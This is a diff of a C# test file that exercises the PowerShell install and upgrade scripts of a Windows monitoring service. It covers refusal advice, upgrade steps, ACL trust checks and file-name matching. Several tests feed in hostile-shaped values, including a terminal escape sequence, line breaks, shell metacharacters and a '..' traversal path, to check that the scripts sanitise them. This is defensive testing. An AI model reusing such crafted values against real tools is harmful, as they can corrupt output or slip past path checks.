+    /// there, start and check, delete the old folder), and both scripts choose them by where the registered service
+    /// runs from. With no registered service, or one that runs from another folder, the refusal keeps the
+    /// fresh-folder wording, whatever the folder holds.
+    /// </summary>
+    [Fact]
+    public void TheExistingInstallRefusal_GivesTheNumberedSteps_AndAFreshFolderKeepsTheFreshWording()
+    {
+        var upgrade = ReadRepoFile(Path.Combine("Darling", "tools", "upgrade-darling.ps1"));
+
+        var probe = new StringBuilder();
+        AppendStepFunctions(probe);
+        probe.AppendLine("""
+            $ErrorActionPreference = 'Stop'
+            'STEPS'
+            Get-DarlingExistingInstallSteps 'C:\PerformanceMonitorDarling' 'PerformanceMonitor Darling'
+            'FRESH'
+            Get-DarlingFreshFolderAdvice 'C:\PerformanceMonitorDarling'
+            """);
+        var all = string.Join("\n", RunWindowsPowerShell(probe.ToString()));
+        var rendered = all[..all.IndexOf("FRESH", StringComparison.Ordinal)];
+        var fresh = all[all.IndexOf("FRESH", StringComparison.Ordinal)..];
+
+        Assert.Contains("1. Stop the 'PerformanceMonitor Darling' service and leave it stopped until step 5.", rendered, StringComparison.Ordinal);
+        Assert.Contains("2. In an elevated session, extract the new zip into", rendered, StringComparison.Ordinal);
+        Assert.Contains("a new, empty folder named C:\\Program Files\\PerformanceMonitorDarling.", rendered, StringComparison.Ordinal);
+        Assert.Contains("3. Open darling.json in C:\\PerformanceMonitorDarling", rendered, StringComparison.Ordinal);
+        Assert.Contains("check that every setting in it is yours", rendered, StringComparison.Ordinal);
+        Assert.Contains("copies the SAMPLE config in", rendered, StringComparison.Ordinal);
+        Assert.Contains("If darling.json names a certificate or key file in this folder, make a new one. Keep it outside the", rendered, StringComparison.Ordinal);
+        Assert.Contains("install folder, and point darling.json at it. These are the tls pfxPath, certPath and keyPath settings.", rendered, StringComparison.Ordinal);
+        Assert.DoesNotContain("copy that file", rendered, StringComparison.Ordinal);
+        Assert.Contains("4. In an elevated session, run install-darling.ps1 from the new folder.", rendered, StringComparison.Ordinal);
+        Assert.Contains("C:\\ProgramData\\PerformanceMonitorDarling", rendered, StringComparison.Ordinal);
+        Assert.Contains("sets postgres.dataDirectory, it is there instead.", rendered, StringComparison.Ordinal);
+        Assert.Contains("5. Start the service and check that it collects.", rendered, StringComparison.Ordinal);
+        Assert.Contains("6. Delete C:\\PerformanceMonitorDarling once the service is collecting.", rendered, StringComparison.Ordinal);
+
+        Assert.Contains("Extract the zip into a new folder under C:\\Program Files, or another folder only an administrator can write to.", fresh, StringComparison.Ordinal);
+        Assert.Contains("run install-darling.ps1 from there", fresh, StringComparison.Ordinal);
+        Assert.DoesNotContain("Stop the", fresh, StringComparison.Ordinal);
+
+        // Both scripts choose the steps by where the registered service runs from: no darling.json or pg-runtime test.
+        Assert.Contains("$advice = Get-DarlingRefusalAdvice $root $serviceName (Get-DarlingInstallRootFromService $serviceName)", InstallScript, StringComparison.Ordinal);
+        Assert.DoesNotContain("$existingInstall", InstallScript, StringComparison.Ordinal);
+        Assert.Contains("$(Get-DarlingRefusalAdvice $InstallRoot $serviceName (Get-DarlingInstallRootFromService $serviceName))", upgrade, StringComparison.Ordinal);
+        Assert.DoesNotContain("Get-DarlingExistingInstallSteps $InstallRoot", upgrade, StringComparison.Ordinal);
+        Assert.DoesNotContain("Get-DarlingExistingInstallSteps $root", InstallScript, StringComparison.Ordinal);
+        Assert.DoesNotContain("a fresh install into a folder only an administrator can write to", upgrade, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5627: inside C:\Program Files the steps and the fresh wording say a new, empty folder with a DIFFERENT name
+    /// under C:\Program Files, and never tell the user to extract into the folder they are in.
+    /// </summary>
+    [Fact]
+    public void TheSteps_InsideProgramFiles_AskForADifferentFolderName()
+    {
+        var probe = new StringBuilder();
+        AppendStepFunctions(probe);
+        probe.AppendLine("""
+            $ErrorActionPreference = 'Stop'
+            $inPf = Join-Path $env:ProgramFiles 'PerformanceMonitorDarling'
+            'STEPS'
+            Get-DarlingExistingInstallSteps $inPf 'PerformanceMonitor Darling'
+            'FRESH'
+            Get-DarlingFreshFolderAdvice $inPf
+            """);
+        var all = string.Join("\n", RunWindowsPowerShell(probe.ToString()));
+        var steps = all[..all.IndexOf("FRESH", StringComparison.Ordinal)];
+        var fresh = all[all.IndexOf("FRESH", StringComparison.Ordinal)..];
+
+        Assert.Contains("a new, empty folder with a different name under C:\\Program Files.", steps, StringComparison.Ordinal);
+        Assert.DoesNotContain("named C:\\Program Files\\PerformanceMonitorDarling", steps, StringComparison.Ordinal);
+        Assert.Contains("a new, empty folder with a different name under C:\\Program Files.", fresh, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5627: every absolute path darling.json names inside the old folder (the store, a certificate or key, a file:
+    /// reference) is listed in the last step, which says to keep the old folder until they are moved. A path outside
+    /// the folder, a relative path and a folder sharing only a name prefix are not listed, and a darling.json that
+    /// names nothing inside keeps the plain delete step.
+    /// </summary>
+    [Fact]
+    public void TheLastStep_NamesEveryConfiguredPathUnderTheOldFolder_AndKeepsTheFolderUntilTheyMove()
+    {
+        var probe = new StringBuilder();
+        AppendStepFunctions(probe);
+        probe.AppendLine("""
+            $ErrorActionPreference = 'Stop'
+            $old = Join-Path $env:TEMP ('pm5627-old-' + [guid]::NewGuid().ToString('N').Substring(0, 8))
+            New-Item -ItemType Directory -Path $old -Force | Out-Null
+            $json = $old -replace '\\', '\\'
+            try {
+                $config = @"
+            {
+              // a comment that mentions "dataDirectory": "C:\\nowhere" must not count
+              "postgres": { "dataDirectory": "$json\\data", },
+              "tls": { "pfxPath": "$json\\certs\\a.pfx", "certPath": "C:\\elsewhere\\a.pem", "keyPath": "relative\\a.key" },
+              "smtp": { "password": "file:$json\\secrets\\smtp.txt" },
+              "other": { "dataDirectory": "$json-sibling\\data" }
+            }
+            "@
+                Set-Content -LiteralPath (Join-Path $old 'darling.json') -Value $config
+                'STEPS'
+                Get-DarlingExistingInstallSteps $old 'PerformanceMonitor Darling'
+                'CONFIGURED'
+                (Get-DarlingConfiguredPathsUnder $old).Lines
+                'incomplete=' + (Get-DarlingConfiguredPathsUnder $old).Incomplete
+                Set-Content -LiteralPath (Join-Path $old 'darling.json') -Value '{ "postgres": { "managed": true } }'
+                'CLEAN'
+                'cleanCount=' + @((Get-DarlingConfiguredPathsUnder $old).Lines).Count
+                Get-DarlingExistingInstallSteps $old 'PerformanceMonitor Darling'
+            }
+            finally {
+                Remove-Item -LiteralPath $old -Recurse -Force -ErrorAction SilentlyContinue
+            }
+            """);
+        var all = string.Join("\n", RunWindowsPowerShell(probe.ToString()));
+        var steps = all[..all.IndexOf("CONFIGURED", StringComparison.Ordinal)];
+        var configured = all[all.IndexOf("CONFIGURED", StringComparison.Ordinal)..all.IndexOf("CLEAN", StringComparison.Ordinal)];
+        var clean = all[all.IndexOf("CLEAN", StringComparison.Ordinal)..];
+
+        Assert.Contains("\\data\" (postgres.dataDirectory).", steps, StringComparison.Ordinal);
+        Assert.Contains("\\certs\\a.pfx\" (pfxPath).", steps, StringComparison.Ordinal);
+        Assert.Contains("\\secrets\\smtp.txt\" (a file: reference).", steps, StringComparison.Ordinal);
+        Assert.Contains("incomplete=False", configured, StringComparison.Ordinal);
+        Assert.Contains("6. Do not delete ", steps, StringComparison.Ordinal);
+        Assert.Contains("darling.json names these paths inside it:", steps, StringComparison.Ordinal);
+        Assert.DoesNotContain("elsewhere", configured, StringComparison.Ordinal);
+        Assert.DoesNotContain("relative", configured, StringComparison.Ordinal);
+        Assert.DoesNotContain("nowhere", configured, StringComparison.Ordinal);
+        Assert.DoesNotContain("-sibling", configured, StringComparison.Ordinal);
+
+        Assert.Contains("cleanCount=0", clean, StringComparison.Ordinal);
+        Assert.Contains("6. Delete ", clean, StringComparison.Ordinal);
+        Assert.DoesNotContain("Do not delete", clean, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5627: when the service's SID cannot be worked out, the walk says so on one line and the objects that account
+    /// owns are listed as before. A plain ASCII name produces no line.
+    /// </summary>
+    [Fact]
+    public void TheServiceSids_SayWhenTheSidCannotBeWorkedOut()
+    {
+        var probe = new StringBuilder();
+        probe.AppendLine(ExtractFunction(InstallScript, "Get-DarlingServiceSids"));
+        probe.AppendLine("""
+            $ErrorActionPreference = 'Stop'
+            function Resolve-DarlingServiceAccountSid([string]$account) { return $null }
+            'plain.count=' + @(Get-DarlingServiceSids $null 'PerformanceMonitor Darling').Count
+            'wide.count=' + @(Get-DarlingServiceSids $null ('Perf' + [char]0x00E9 + 'Monitor')).Count
+            """);
+        var answers = RunWindowsPowerShell(probe.ToString());
+
+        Assert.Contains("plain.count=1", answers);
+        Assert.Contains("wide.count=0", answers);
+        Assert.Single(answers.FindAll(a => a.StartsWith("WARNING: could not work out the Windows SID of NT SERVICE\\", StringComparison.Ordinal)));
+    }
+
+    /// <summary>
+    /// #5627: a Modify grant the service's own account holds on the install folder is a finding like any other
+    /// account's. The lock gives the service read and execute there, and the walk reads the folder with inherited
+    /// grants, so it names the grant with the service deleted, on another logon, and on its virtual account.
+    /// </summary>
+    [Fact]
+    public void ThePreLockTrustedSet_NamesAModifyGrantTheServiceHoldsOnTheInstallFolder_InEveryServiceState()
+    {
+        var probe = ServiceOwnedTreeProbe();
+        probe.AppendLine("""
+            try {
+                $script:rootWriter = $script:serviceSid
+                Show 'rootModifyDeleted' $null $null
+                Show 'rootModifyOtherLogon' $registered 'NT AUTHORITY\LOCAL SERVICE'
+                Show 'rootModifyVirtual' $registered "NT SERVICE\$serviceName"
+            }
+            finally {
+                Remove-Item -LiteralPath $script:root -Recurse -Force -ErrorAction SilentlyContinue
+            }
+            """);
+
+        var answers = RunServiceOwnedTreeProbe(probe);
+
+        foreach (var label in new[] { "rootModifyDeleted", "rootModifyOtherLogon", "rootModifyVirtual" })
+        {
+            Assert.Contains($"{label}.count=1", answers);
+            // Windows names the account only while the service is registered, so the finding may carry the raw SID.
+            Assert.Contains(answers, a => a.StartsWith($"{label}.text=", StringComparison.Ordinal)
+                && (a.Contains("PerformanceMonitor Darling", StringComparison.Ordinal) || a.Contains("944500918", StringComparison.Ordinal))
+                && a.Contains(" on <root>", StringComparison.Ordinal)
+                && !a.Contains("owned by", StringComparison.Ordinal));
+        }
+    }
+
+    /// <summary>
+    /// #5627: the refusal gives the numbered steps only when the registered service runs from the folder being
+    /// refused (its ImagePath folder is that folder, compared as full paths without regard to case or a trailing
+    /// separator). A service registered elsewhere, none, or a path that could not be read all get the fresh-folder
+    /// wording.
+    /// </summary>
+    [Fact]
+    public void TheRefusalAdvice_GivesTheSteps_OnlyWhenTheServiceRunsFromThisFolder()
+    {
+        var probe = new StringBuilder();
+        AppendStepFunctions(probe);
+        probe.AppendLine("""
+            $ErrorActionPreference = 'Stop'
+            $here = 'C:\PerformanceMonitorDarling'
+            'THIS'
+            Get-DarlingRefusalAdvice $here 'PerformanceMonitor Darling' 'c:\performancemonitordarling\'
+            'ELSEWHERE'
+            Get-DarlingRefusalAdvice $here 'PerformanceMonitor Darling' 'C:\Program Files\PerformanceMonitorDarling'
+            'SIBLING'
+            Get-DarlingRefusalAdvice $here 'PerformanceMonitor Darling' 'C:\PerformanceMonitorDarling-old'
+            'NONE'
+            Get-DarlingRefusalAdvice $here 'PerformanceMonitor Darling' ''
+            """);
+        var all = string.Join("\n", RunWindowsPowerShell(probe.ToString()));
+        string Section(string name, string? next) => all[all.IndexOf(name + "\n", StringComparison.Ordinal)..(next == null ? all.Length : all.IndexOf(next + "\n", StringComparison.Ordinal))];
+
+        var thisFolder = Section("THIS", "ELSEWHERE");
+        Assert.Contains("1. Stop the 'PerformanceMonitor Darling' service", thisFolder, StringComparison.Ordinal);
+        Assert.Contains("6. Delete C:\\PerformanceMonitorDarling once the service is collecting.", thisFolder, StringComparison.Ordinal);
+
+        foreach (var other in new[] { Section("ELSEWHERE", "SIBLING"), Section("SIBLING", "NONE"), Section("NONE", null) })
+        {
+            Assert.Contains("Extract the zip into a new folder under C:\\Program Files", other, StringComparison.Ordinal);
+            Assert.DoesNotContain("Stop the", other, StringComparison.Ordinal);
+            Assert.DoesNotContain("darling.json", other, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>
+    /// #5627: a darling.json value that is not a printable path (a control character, a line break, or any of the
+    /// characters &lt; &gt; | and a quote) is left out, so is one over 260 characters, and at most 10 are listed. The
+    /// refusal and every step still print, no left-out value is printed, the printed ones are quoted, and the last
+    /// step keeps the old folder and asks for darling.json to be checked.
+    /// </summary>
+    [Fact]
+    public void TheConfiguredPaths_LeaveOutValuesThatAreNotPaths_AndTheStepsStillPrintQuoted()
+    {
+        var probe = new StringBuilder();
+        AppendStepFunctions(probe);
+        probe.AppendLine("""
+            $ErrorActionPreference = 'Stop'
+            $old = Join-Path $env:TEMP ('pm5627-odd-' + [guid]::NewGuid().ToString('N').Substring(0, 8))
+            New-Item -ItemType Directory -Path $old -Force | Out-Null
+            $json = $old -replace '\\', '\\'
+            $esc = [string][char]27
+            $lf = "`n"
+            $long = 'a' * 300
+            function Use([string[]]$lines) {
+                Set-Content -LiteralPath (Join-Path $old 'darling.json') -Value (($lines -join "`n").Replace('@@', $json))
+            }
+            try {
+                Use @(
+                    '{',
+                    '  "tls": { "pfxPath": "@@\\bad<>|\"name.pfx",',
+                    ('            "keyPath": "@@\\line1' + $lf + 'line2.key",'),
+                    ('            "certPath": "@@\\esc' + $esc + '[31mred.pem" },'),
+                    ('  "postgres": { "dataDirectory": "@@\\' + $long + '" },'),
+                    '  "smtp": { "password": "file:@@\\good\\smtp.txt" }',
+                    '}')
+                $r = Get-DarlingConfiguredPathsUnder $old
+                'MIXED'
+                'lines=' + @($r.Lines).Count
+                'incomplete=' + $r.Incomplete
+                Get-DarlingExistingInstallSteps $old 'PerformanceMonitor Darling'
+
+                Use @('{', '  "tls": { "pfxPath": "@@\\bad<>|\"name.pfx" }', '}')
+                $r = Get-DarlingConfiguredPathsUnder $old
+                'ONLYODD'
+                'lines=' + @($r.Lines).Count
+                'incomplete=' + $r.Incomplete
+                Get-DarlingExistingInstallSteps $old 'PerformanceMonitor Darling'
+
+                Use @('{', ((1..12 | ForEach-Object { '  "postgres": { "dataDirectory": "@@\\d' + $_ + '" },' }) -join "`n"), '}')
+                $r = Get-DarlingConfiguredPathsUnder $old
+                'MANY'
+                'lines=' + @($r.Lines).Count
+                'incomplete=' + $r.Incomplete
+            }
+            finally {
+                Remove-Item -LiteralPath $old -Recurse -Force -ErrorAction SilentlyContinue
+            }
+            """);
+        var all = string.Join("\n", RunWindowsPowerShell(probe.ToString()));
+        var mixed = all[all.IndexOf("MIXED", StringComparison.Ordinal)..all.IndexOf("ONLYODD", StringComparison.Ordinal)];
+        var onlyOdd = all[all.IndexOf("ONLYODD", StringComparison.Ordinal)..all.IndexOf("MANY", StringComparison.Ordinal)];
+        var many = all[all.IndexOf("MANY", StringComparison.Ordinal)..];
+
+        // The good one is listed; the four odd ones and the 300-character one are not.
+        Assert.Contains("lines=1", mixed, StringComparison.Ordinal);
+        Assert.Contains("incomplete=True", mixed, StringComparison.Ordinal);
+        Assert.Contains("1. Stop the 'PerformanceMonitor Darling' service", mixed, StringComparison.Ordinal);
+        Assert.Contains("good\\smtp.txt\" (a file: reference).", mixed, StringComparison.Ordinal);
+        Assert.Contains("6. Do not delete ", mixed, StringComparison.Ordinal);
+        Assert.Contains("Not every value in darling.json was listed here. Check it for other paths inside", mixed, StringComparison.Ordinal);
+        Assert.DoesNotContain(new string('a', 30), mixed, StringComparison.Ordinal);
+        Assert.DoesNotContain("(postgres.dataDirectory)", mixed, StringComparison.Ordinal);
+        foreach (var raw in new[] { "bad<", "name.pfx", "line1", "line2", "red.pem", "[31m", "\u001b" })
+        {
+            Assert.DoesNotContain(raw, mixed, StringComparison.Ordinal);
+        }
+
+        // Nothing could be listed: the old folder is still kept, and darling.json is to be checked.
+        Assert.Contains("lines=0", onlyOdd, StringComparison.Ordinal);
+        Assert.Contains("incomplete=True", onlyOdd, StringComparison.Ordinal);
+        Assert.Contains("1. Stop the 'PerformanceMonitor Darling' service", onlyOdd, StringComparison.Ordinal);
+        Assert.Contains("6. Do not delete ", onlyOdd, StringComparison.Ordinal);
+        Assert.Contains("Not every value in darling.json was listed here. Check it for paths", onlyOdd, StringComparison.Ordinal);
+        Assert.DoesNotContain("bad<", onlyOdd, StringComparison.Ordinal);
+        Assert.DoesNotContain("6. Delete ", onlyOdd, StringComparison.Ordinal);
+
+        // The list stops at 10.
+        Assert.Contains("lines=10", many, StringComparison.Ordinal);
+        Assert.Contains("incomplete=True", many, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5627: the service-written list matches the names the service writes and nothing wider. A backup is
+    /// darling.json.bak-yyyyMMdd-HHmmss with an optional -N counter, the FIRST name below the install folder is
+    /// compared exactly (a trailing dot, a longer name or a '..' step matches nothing), the listed files count only in
+    /// the install folder itself, and the key folder counts only when it is handed in.
+    /// </summary>
+    [Fact]
+    public void TheServiceWrittenList_MatchesOnlyTheNamesTheServiceWrites()
+    {
+        var probe = new StringBuilder();
+        AppendServiceWrittenList(probe, InstallScript);
+        probe.AppendLine("""
+            $ErrorActionPreference = 'Stop'
+            $root = 'C:\Program Files\PerformanceMonitorDarling'
+            foreach ($name in @('darling.json', 'DARLING.JSON', 'darling.json.bak-20260101-120000', 'darling.json.bak-20260101-120000-2',
+                                'darling.json.bak-x.dll', 'darling.json.bak-20260101', 'darling.json.bak-20260101-120000.dll', 'darling.json.bak-', 'darling.json.', 'xdarling.json')) {
+                'name:' + $name + '=' + (Test-DarlingServiceWrittenFileName $name)
+            }
+            foreach ($case in @(
+                @('pg-runtime', @()), @('pg-runtime\pgsql\bin\postgres.exe', @()), @('pg-runtime-prev\a.dll', @()), @('PG-RUNTIME\a.dll', @()),
+                @('pg-runtime.\a.dll', @()), @('pg-runtime-x\a.dll', @()), @('pg-runtimeX', @()), @('pg-runtime\..\a.dll', @()), @('other\pg-runtime\a.dll', @()),
+                @('darling.json', @()), @('darling.json.bak-20260101-120000', @()), @('darling.json.bak-x.dll', @()), @('other\darling.json', @()), @('darling.json\x', @()),
+                @('darling-keys\log-hash.key', @()), @('darling-keys\log-hash.key', @('darling-keys')), @('darling-keys-x\a', @('darling-keys')), @('PerformanceMonitor.Darling.Service.exe', @()))) {
+                'path:' + $case[0] + '|' + @($case[1]).Count + '=' + (Test-DarlingServiceWrittenPath $root (Join-Path $root $case[0]) @($case[1]))
+            }
+            'path:root=' + (Test-DarlingServiceWrittenPath $root $root @('darling-keys'))
+            'path:outside=' + (Test-DarlingServiceWrittenPath $root 'C:\Program Files\PerformanceMonitorDarling-2\pg-runtime\a.dll' @())
+            """);
+
+        var answers = RunWindowsPowerShell(probe.ToString());
+
+        foreach (var yes in new[] { "darling.json", "DARLING.JSON", "darling.json.bak-20260101-120000", "darling.json.bak-20260101-120000-2" })
+        {
+            Assert.Contains($"name:{yes}=True", answers);
+        }
+
+        foreach (var no in new[] { "darling.json.bak-x.dll", "darling.json.bak-20260101", "darling.json.bak-20260101-120000.dll", "darling.json.bak-", "darling.json.", "xdarling.json" })
+        {
+            Assert.Contains($"name:{no}=False", answers);
+        }
+
+        foreach (var yes in new[] { "pg-runtime|0", "pg-runtime\\pgsql\\bin\\postgres.exe|0", "pg-runtime-prev\\a.dll|0", "PG-RUNTIME\\a.dll|0", "darling.json|0", "darling.json.bak-20260101-120000|0", "darling-keys\\log-hash.key|1" })
+        {
+            Assert.Contains($"path:{yes}=True", answers);
+        }
+
+        foreach (var no in new[] { "pg-runtime.\\a.dll|0", "pg-runtime-x\\a.dll|0", "pg-runtimeX|0", "pg-runtime\\..\\a.dll|0", "other\\pg-runtime\\a.dll|0", "darling.json.bak-x.dll|0",
+            "other\\darling.json|0", "darling.json\\x|0", "darling-keys\\log-hash.key|0", "darling-keys-x\\a|1", "PerformanceMonitor.Darling.Service.exe|0" })
+        {
+            Assert.Contains($"path:{no}=False", answers);
+        }
+
+        Assert.Contains("path:root=False", answers);
+        Assert.Contains("path:outside=False", answers);
+    }
+
+    private static void AppendStepFunctions(StringBuilder probe)
+    {
+        foreach (var name in new[] { "Test-PathIsAtOrUnder", "Test-DarlingSamePath", "Get-DarlingConfiguredPathsUnder", "Get-DarlingNewFolderPhrase", "Get-DarlingExistingInstallSteps", "Get-DarlingFreshFolderAdvice", "Get-DarlingRefusalAdvice" })
+        {
+            probe.AppendLine(ExtractFunction(InstallScript, name));
+        }
+    }
+
+    /// <summary>
+    /// #5628: runs a probe built from <see cref="ServiceOwnedTreeProbe"/> and fails the test first, by name, if the
+    /// probe's own setup did not take (a <c>setup.*=False</c> line, or no setup line at all), so that can never
+    /// pass or read as a product result.
+    /// </summary>
+    private static List<string> RunServiceOwnedTreeProbe(StringBuilder probe)
+    {
+        var answers = RunWindowsPowerShell(probe.ToString());
+        AssertProbeSetupTook(answers);
+        return answers;
+    }
+
+    /// <summary>#5628: every <c>setup.*</c> marker a probe printed must be True, and there must be at least one.</summary>
+    private static void AssertProbeSetupTook(IReadOnlyCollection<string> answers)
+    {
+        var setup = answers.Where(l => l.StartsWith("setup.", StringComparison.Ordinal)).ToList();
+        Assert.True(setup.Count > 0, "the probe printed no setup.* marker, so nothing shows its owner or ACE setup took:\n" + string.Join("\n", answers));
+        var failed = setup.Where(l => !l.EndsWith("=True", StringComparison.Ordinal)).ToList();
+        Assert.True(failed.Count == 0, "the probe's own setup did not take (a test-environment problem, not a product result): " + string.Join(", ", failed));
+    }
+
+    /// <summary>
+    /// #5628: the PowerShell half of the same check, for the probes that set an owner or an ACE on a real file or
+    /// folder. <c>Confirm-ProbeAcl</c> reads the object back and prints <c>setup.LABEL=True</c> only when the owner
+    /// (when given) and every listed SID (as an explicit allow ACE) are there. Setting an owner other than the
+    /// caller needs SeRestorePrivilege, and a failed <c>Set-Acl</c> is non-terminating, so without the read-back a
+    /// setup that did not take looks like a product result.
+    /// </summary>
+    private const string ConfirmProbeAclFunction = """
+        function Confirm-ProbeAcl([string]$label, [string]$path, $ownerSid, [array]$aceSids = @()) {
+            $sidType = [System.Security.Principal.SecurityIdentifier]
+            $took = $true
+            try {
+                $acl = Get-Acl -LiteralPath $path -ErrorAction Stop
+                if ($ownerSid) { $took = $took -and ($acl.GetOwner($sidType) -eq $ownerSid) }
+                $explicit = @($acl.GetAccessRules($true, $false, $sidType))
+                foreach ($sid in $aceSids) { $took = $took -and (@($explicit | Where-Object { $_.IdentityReference -eq $sid }).Count -gt 0) }
+            }
+            catch { $took = $false }
+            'setup.' + $label + '=' + $took
+        }
+        """;
+
+    /// <summary>
+    /// The shared probe for the #5627 shapes: the script's own trust, re-run and walk functions run over a real
+    /// temp tree (root, darling.json, pg-runtime\pgsql\bin\postgres.exe), with <c>Get-Acl</c> shadowed the way this
+    /// class already does for owners, so a service SID can own files without an elevated token. Each scenario
+    /// prints <c>label.count=N</c> and <c>label.text=...</c>, and the prelude prints <c>setup.*</c> markers (#5628)
+    /// that <see cref="RunServiceOwnedTreeProbe"/> requires to be True.
+    /// </summary>
+    private static StringBuilder ServiceOwnedTreeProbe()
+    {
+        var probe = new StringBuilder();
+        probe.AppendLine(ExtractFunction(InstallScript, "Resolve-DarlingServiceAccountSid"));
+        probe.AppendLine(ExtractFunction(InstallScript, "Get-LocalAdministratorsDirectMemberSids"));
+        probe.AppendLine(ExtractFunction(InstallScript, "Get-DarlingPreLockTrustedSids"));
+        probe.AppendLine(ExtractFunction(InstallScript, "Get-DarlingServiceSids"));
+        probe.AppendLine(ExtractFunction(InstallScript, "Get-DarlingPreLockTrustedSidsForRerun"));
+        probe.AppendLine(ExtractFunction(InstallScript, "Get-UntrustedWriteGrantees"));
+        AppendServiceWrittenList(probe, InstallScript);
+        probe.AppendLine("""
+            $ErrorActionPreference = 'Stop'
+            function Fail([string]$message) { Write-Host ('FAILCALLED:' + $message); exit 7 }
+            $serviceName = 'PerformanceMonitor Darling'
+            $sidType = [System.Security.Principal.SecurityIdentifier]
+            $wk = [System.Security.Principal.WellKnownSidType]
+            # The SID of 'NT SERVICE\PerformanceMonitor Darling', written out: Windows only translates that name while a
+            # service of that name is registered, and the point of the fix is that the owner outlives the registration.
+            $script:serviceSid = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-80-3826879063-3043247242-2228279017-3709363858-944500918')
+            $script:otherSid = (New-Object System.Security.Principal.NTAccount('NT SERVICE\Winmgmt')).Translate($sidType)
+            $script:adminsSid = New-Object System.Security.Principal.SecurityIdentifier($wk::BuiltinAdministratorsSid, $null)
+            $script:systemSid = New-Object System.Security.Principal.SecurityIdentifier($wk::LocalSystemSid, $null)
+            $script:authSid = New-Object System.Security.Principal.SecurityIdentifier($wk::AuthenticatedUserSid, $null)
+            $script:localServiceSid = New-Object System.Security.Principal.SecurityIdentifier($wk::LocalServiceSid, $null)
+
+            # A REGISTERED service of that name translates to its SID; this box has none, so the logon-account lookup
+            # (the re-run function's L4 check) is told the answer Windows would give. Every other name takes the
+            # script's own route.
+            $realResolve = ${function:Resolve-DarlingServiceAccountSid}
+            function Resolve-DarlingServiceAccountSid([string]$account) {
+                if ($account -eq "NT SERVICE\$serviceName") { return $script:serviceSid }
+                return (& $realResolve $account)
+            }
+
+            # What the shadowed Get-Acl reports, per scenario.
+            $script:runtimeOwner = $script:serviceSid      # who owns pg-runtime and everything below it
+            $script:rootWriter = $null                     # a principal with Modify on the root (an inherited grant)
+            $script:serviceAce = $script:serviceSid        # the account the lock/install granted Modify on pg-runtime
+            $script:serviceOwned = @()                     # extra paths (relative to the root) the service owns
+            $script:serviceDirs = @('darling-keys')        # the extra folders Get-DarlingExtraServiceWriteDirectories returns
+
+            function Get-Acl {
+                [CmdletBinding()]
+                param([string]$LiteralPath, [Parameter(ValueFromRemainingArguments = $true)] $Rest)
+                $sec = New-Object System.Security.AccessControl.DirectorySecurity
+                $sec.SetAccessRuleProtection($true, $false)
+                foreach ($s in @($script:systemSid, $script:adminsSid)) {
+                    $sec.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($s, 'FullControl', 'ContainerInherit, ObjectInherit', 'None', 'Allow')))
+                }
+                $underRuntime = $LiteralPath -like "$($script:root)\pg-runtime*"
+                if ($underRuntime) {
+                    $sec.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($script:serviceAce, 'Modify', 'ContainerInherit, ObjectInherit', 'None', 'Allow')))
+                }
+                if ($LiteralPath -eq $script:root -and $script:rootWriter) {
+                    $sec.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule($script:rootWriter, 'Modify', 'ContainerInherit, ObjectInherit', 'None', 'Allow')))
+                }
+                $relative = if ($LiteralPath.Length -gt $script:root.Length) { $LiteralPath.Substring($script:root.Length + 1) } else { '' }
+                $sec.SetOwner($(if ($underRuntime) { $script:runtimeOwner } elseif ($script:serviceOwned -contains $relative) { $script:serviceSid } else { $script:adminsSid }))
+                return $sec
+            }
+
+            $script:root = Join-Path $env:TEMP ('pm5627-' + [guid]::NewGuid().ToString('N').Substring(0, 8))
+            New-Item -ItemType Directory -Path "$($script:root)\pg-runtime\pgsql\bin" -Force | Out-Null
+            Set-Content -LiteralPath "$($script:root)\darling.json" -Value '{}'
+            Set-Content -LiteralPath "$($script:root)\pg-runtime\pgsql\bin\postgres.exe" -Value 'x'
+            Set-Content -LiteralPath "$($script:root)\PerformanceMonitor.Darling.Service.exe" -Value 'x'
+            Set-Content -LiteralPath "$($script:root)\darling.json.bak-20260101-120000" -Value '{}'
+            New-Item -ItemType Directory -Path "$($script:root)\darling-keys", "$($script:root)\other" -Force | Out-Null
+            Set-Content -LiteralPath "$($script:root)\darling-keys\log-hash.key" -Value 'x'
+            Set-Content -LiteralPath "$($script:root)\other\tool.dll" -Value 'x'
+
+            # #5628: the root is named in the tree's long form. $env:TEMP is the 8.3 short form on a CI runner
+            # (C:\Users\RUNNER~1\...), and Windows PowerShell 5.1 hands back the LONG form for every child
+            # Get-ChildItem walks, so the shadowed Get-Acl's "$root\pg-runtime*" comparison matched nothing, every
+            # owner fell back to Administrators (trusted) and every probe reported zero findings.
+            $script:root = [System.IO.Path]::GetFullPath($script:root)
+
+            # The setup check: ask the shadowed Get-Acl about a path the way the script's walk reaches it (a child
+            # from Get-ChildItem) and print whether it answered with the owner this probe set. The C# side fails
+            # the test on any setup.*=False, so a probe whose setup did not take can never pass or read as a
+            # product result.
+            $walked = @(Get-ChildItem -LiteralPath $script:root -Recurse -Force -Filter postgres.exe)
+            'setup.walkFindsTheRuntimeFile=' + ($walked.Count -eq 1)
+            'setup.walkPathIsUnderTheRoot=' + ($walked.Count -eq 1 -and $walked[0].FullName.StartsWith($script:root + '\', [StringComparison]::OrdinalIgnoreCase))
+            'setup.shadowOwnerReachesTheWalkedFile=' + ($walked.Count -eq 1 -and ((Get-Acl -LiteralPath $walked[0].FullName).GetOwner($sidType) -eq $script:serviceSid))
+
+            # service = $null (not registered) or a stand-in service object; logon = what Get-DarlingServiceLogonName says.
+            function Get-DarlingServiceLogonName([string]$name) { return $script:logon }
+            function Show([string]$label, $service, $logon) {
+                $script:logon = $logon
+                $sets = Get-DarlingPreLockTrustedSidsForRerun $serviceName $service
+                $found = @(Get-UntrustedWriteGrantees $script:root $sets.Trusted -Recurse -ServiceSids $sets.ServiceSids -ServiceDirectories $script:serviceDirs | ForEach-Object { $_ -replace [regex]::Escape($script:root), '<root>' })
+                $label + '.count=' + $found.Count
+                $label + '.text=' + ($found -join ';')
+            }
+            $registered = [pscustomobject]@{ Name = $serviceName }
+            """);
+        return probe;
+    }
+
+    /// <summary>
+    /// #5627, the 3.7.1-to-dev shapes: the service extracted pg-runtime and owns it, and the service is NOT
